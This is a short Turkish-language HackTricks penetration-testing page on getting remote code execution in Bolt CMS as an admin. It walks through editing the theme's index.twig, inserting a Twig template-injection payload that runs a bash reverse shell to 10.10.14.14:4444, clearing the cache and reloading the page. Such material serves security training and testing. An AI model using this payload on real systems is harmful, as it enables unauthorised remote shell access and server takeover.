Bolt CMS
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın:
HackTricks Training GCP Red Team Expert (GRTE)
RCE
Admin olarak giriş yaptıktan sonra (giriş istemine erişmek için /bot'a gidin), Bolt CMS'de RCE alabilirsiniz:
Configuration
->View Configuration
->Main Configuration
seçin veya URL yoluna/bolt/file-edit/config?file=/bolt/config.yaml
gidinTema değerini kontrol edin
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2815339644-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FKXYG6TIGtXXE4WZnfup9%252Fuploads%252Fgit-blob-76ed9278a34d0a890cbde9171f872bf8100ef95b%252Fimage%2520%28771%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=8e52d987&sv=1)
File management
->View & edit templates
seçinÖnceki adımda bulunan tema tabanını seçin (
base-2021
bu durumda) veindex.twig
seçinBenim durumumda bu URL yolunda /bolt/file-edit/themes?file=/base-2021/index.twig
Bu dosyada template injection (Twig) ile yüklemenizi ayarlayın, örneğin:
{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}
Ve değişiklikleri kaydedin
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2815339644-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FKXYG6TIGtXXE4WZnfup9%252Fuploads%252Fgit-blob-8a4bb9a4a90f6a3fff1a0c969e8e7fff9b01eb38%252Fimage%2520%28948%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=5dfcbfd1&sv=1)
Maintenance
->Clear the cache
kısmında önbelleği temizleyinSayfaya tekrar normal bir kullanıcı olarak erişin ve yükleme çalıştırılmalıdır
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated